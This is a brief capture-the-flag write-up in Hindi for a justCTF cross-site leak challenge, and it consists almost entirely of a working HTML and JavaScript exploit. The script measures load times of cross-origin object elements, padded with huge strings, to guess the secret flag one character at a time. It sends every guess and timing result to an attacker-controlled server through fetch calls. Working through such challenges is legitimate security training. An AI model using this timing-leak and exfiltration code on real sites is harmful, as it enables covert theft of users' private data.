इस चुनौती में उपयोगकर्ता हजारों अक्षर भेज सकता था और यदि ध्वज शामिल था, तो अक्षर बॉट को वापस भेज दिए जाते थे। इसलिए यदि हम अक्षरों की बड़ी मात्रा डालते हैं, तो हम माप सकते हैं कि क्या ध्वज भेजे गए स्ट्रिंग में शामिल था या नहीं।
Copy <! DOCTYPE html >
< html >
< head >
</ head >
< body >
< img src = "https://deelay.me/30000/https://example.com" >
< script >
fetch ( 'https://deelay.me/30000/https://example.com' )
function send (data) {
fetch ( 'http://vps?data=' + encodeURIComponent (data)) .catch (err => 1 )
}
function leak (char , callback) {
return new Promise (resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search= ${ char } &msg=` + ss[ Math .floor ( Math .random () * ss . length )] .repeat ( 1000000 )
let start = performance .now ()
let object = document .createElement ( 'object' );
object .width = '2000px'
object .height = '2000px'
object .data = url;
object . onload = () => {
object .remove ()
let end = performance .now ()
resolve (end - start)
}
object . onerror = () => console .log ( 'Error event triggered' );
document . body .appendChild (object);
})
}
send ( 'start' )
let charset = 'abcdefghijklmnopqrstuvwxyz_}' .split ( '' )
let flag = 'justCTF{'
async function main () {
let found = 0
let notFound = 0
for ( let i = 0 ;i < 3 ;i ++ ) {
await leak ( '..' )
}
for ( let i = 0 ; i < 3 ; i ++ ) {
found += await leak ( 'justCTF' )
}
for ( let i = 0 ; i < 3 ; i ++ ) {
notFound += await leak ( 'NOT_FOUND123' )
}
found /= 3
notFound /= 3
send ( 'found flag:' + found)
send ( 'not found flag:' + notFound)
let threshold = found - ((found - notFound) / 2 )
send ( 'threshold:' + threshold)
if (notFound > found) {
return
}
// exploit
while ( true ) {
if (flag[ flag . length - 1 ] === '}' ) {
break
}
for ( let char of charset) {
let trying = flag + char
let time = 0
for ( let i = 0 ; i < 3 ; i ++ ) {
time += await leak (trying)
}
time /= 3
send ( 'char:' + trying + ',time:' + time)
if (time >= threshold) {
flag += char
send (flag)
break
}
}
}
}
main ()
</ script >
</ body >
</ html > 
